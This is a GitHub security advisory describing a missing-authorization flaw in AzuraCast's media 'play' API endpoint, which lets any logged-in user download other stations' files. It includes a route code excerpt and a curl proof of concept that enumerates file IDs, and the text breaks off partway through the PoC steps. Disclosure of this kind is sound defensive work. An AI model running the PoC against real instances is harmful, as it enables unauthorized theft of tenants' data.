GitHub Security Advisory: GHSA-qff7-q5fm-8p76
Package: azuracast/azuracast (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 0.23.5
Patched in: 0.23.6

Summary: AzuraCast has Missing Permissions Check on Media File Download, Allowing Cross-Station Data Exfiltration

Details:
## Summary

The `GET /api/station/{station_id}/file/{id}/play` endpoint, handled by `PlayAction`, is missing the `Middleware\Permissions` check that protects all sibling routes in the same `/file/{id}` route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration.

## Details

In `backend/config/routes/api_station.php`, the `/file/{id}` route group (lines 407-429) defines four endpoints:

```php
// Line 407-429
$group->group(
    '/file/{id}',
    function (RouteCollectorProxy $group) {
        // GET /file/{id} — has Permissions check ✓
        $group->get('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));

        // PUT /file/{id} — has Permissions check ✓
        $group->put('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));

        // DELETE /file/{id} — has Permissions check ✓
        $group->delete('', ...)->add(new Middleware\Permissions(StationPermissions::DeleteMedia, true));

        // GET /file/{id}/play — NO Permissions check ✗
        $group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
            ->setName('api:stations:files:play');
    }
);
```

The middleware chain for the `/play` endpoint is: `GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction`. The `RequireLogin` middleware (`backend/src/Middleware/RequireLogin.php`) only verifies a valid session/API key exists — it does not check station-level permissions.

The controller at `backend/src/Controller/Api/Stations/Files/PlayAction.php:84` calls `$this->mediaRepo->requireForStation($id, $station)`, which verifies the media belongs to the station but performs no authorization check. The `findForStation` method (`StationMediaRepository.php:46-66`) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers.

This is notably similar to the regression fixed in commit `7fbc7dd` (2026-02-26), which restored a missing group-level `Permissions` middleware on the adjacent `/files` group. The `/play` route was missed in that fix.

## PoC

```bash
# Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance.
# Upload media files to Station B.

# Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user.
[CREDENTIAL_REDACTED]"

# Step 3: Enumerate and download media from Station B (station_id=2) using sequential IDs
# This should return 403 Forbidden, but instead returns the file content
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1/play -o stolen1.mp3
# HTTP 200 OK — file downloaded successfully

curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/2/play -o stolen2.mp3
# HTTP 200 OK — file downloaded successfully

# Step 4: Verify the same user is correctly blocked on other